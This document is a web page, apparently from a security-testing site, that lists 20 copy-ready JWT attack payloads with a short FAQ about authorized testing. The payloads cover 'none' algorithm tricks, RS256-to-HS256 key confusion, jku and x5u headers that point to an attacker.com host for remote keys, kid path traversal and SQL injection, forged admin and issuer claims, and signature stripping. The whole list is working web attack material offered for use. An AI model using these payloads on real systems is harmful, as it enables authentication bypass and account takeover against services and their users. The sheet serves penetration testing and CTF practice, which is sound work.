Skip to content
Payload Playground

JWT Attacks Cheat Sheet

JWT attack payloads for algorithm confusion, none algorithm, key injection, and claim manipulation. (20 payloads)

Build custom JWT payloads in the JWT Payloads generator

Algorithm Attacks

(6)
{"alg":"none","typ":"JWT"}
None algorithm — remove signature
{"alg":"None","typ":"JWT"}
None with capital N
{"alg":"NONE","typ":"JWT"}
None in all caps
{"alg":"nOnE","typ":"JWT"}
None mixed case
{"alg":"HS256","typ":"JWT"} signed with RSA public key
Algorithm confusion: RS256 → HS256
{"alg":"HS384","typ":"JWT"} signed with RS384 public key
Algorithm confusion: RS384 → HS384

Key Injection

(5)
{"alg":"HS256","typ":"JWT","jwk":{"kty":"oct","k":"<attacker-key>"}}
JWK header injection (embedded key)
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"}
JKU header injection (remote JWKS)
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/key.crt"}
X5U header injection (remote cert)
{"alg":"HS256","typ":"JWT","kid":"../../dev/null"}
KID path traversal (empty key)
{"alg":"HS256","typ":"JWT","kid":"key' UNION SELECT 'secret'--"}
KID SQL injection

Claim Manipulation

(5)
{"sub":"admin","role":"admin","iat":...}
Change subject/role to admin
{"exp":9999999999}
Set expiry far in the future
{"sub":"victim","email":"[email protected]"}
Change email claim for account takeover
{"iss":"trusted-issuer"}
Spoof issuer claim
{"aud":"admin-panel"}
Change audience to privileged service

Signature Bypass

(4)
eyJ...eyJ... (no signature part)
Strip signature entirely
eyJ...eyJ...AA==
Empty signature (base64 padding)
Sign with empty string as secret
Weak/empty secret key test
Sign with "secret", "password", "123456"
Common weak secrets wordlist
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the JWT Attacks Cheat Sheet?+

It's a quick-reference collection of 20 JWT payloads for testing JWT Attacks vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these JWT payloads?+

Copy any payload straight into your authorized test, or open the JWT Payloads generator to build customized JWT variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these JWT payloads free to use?+

Yes — this cheat sheet and all JWT payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/jwt-attacks) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.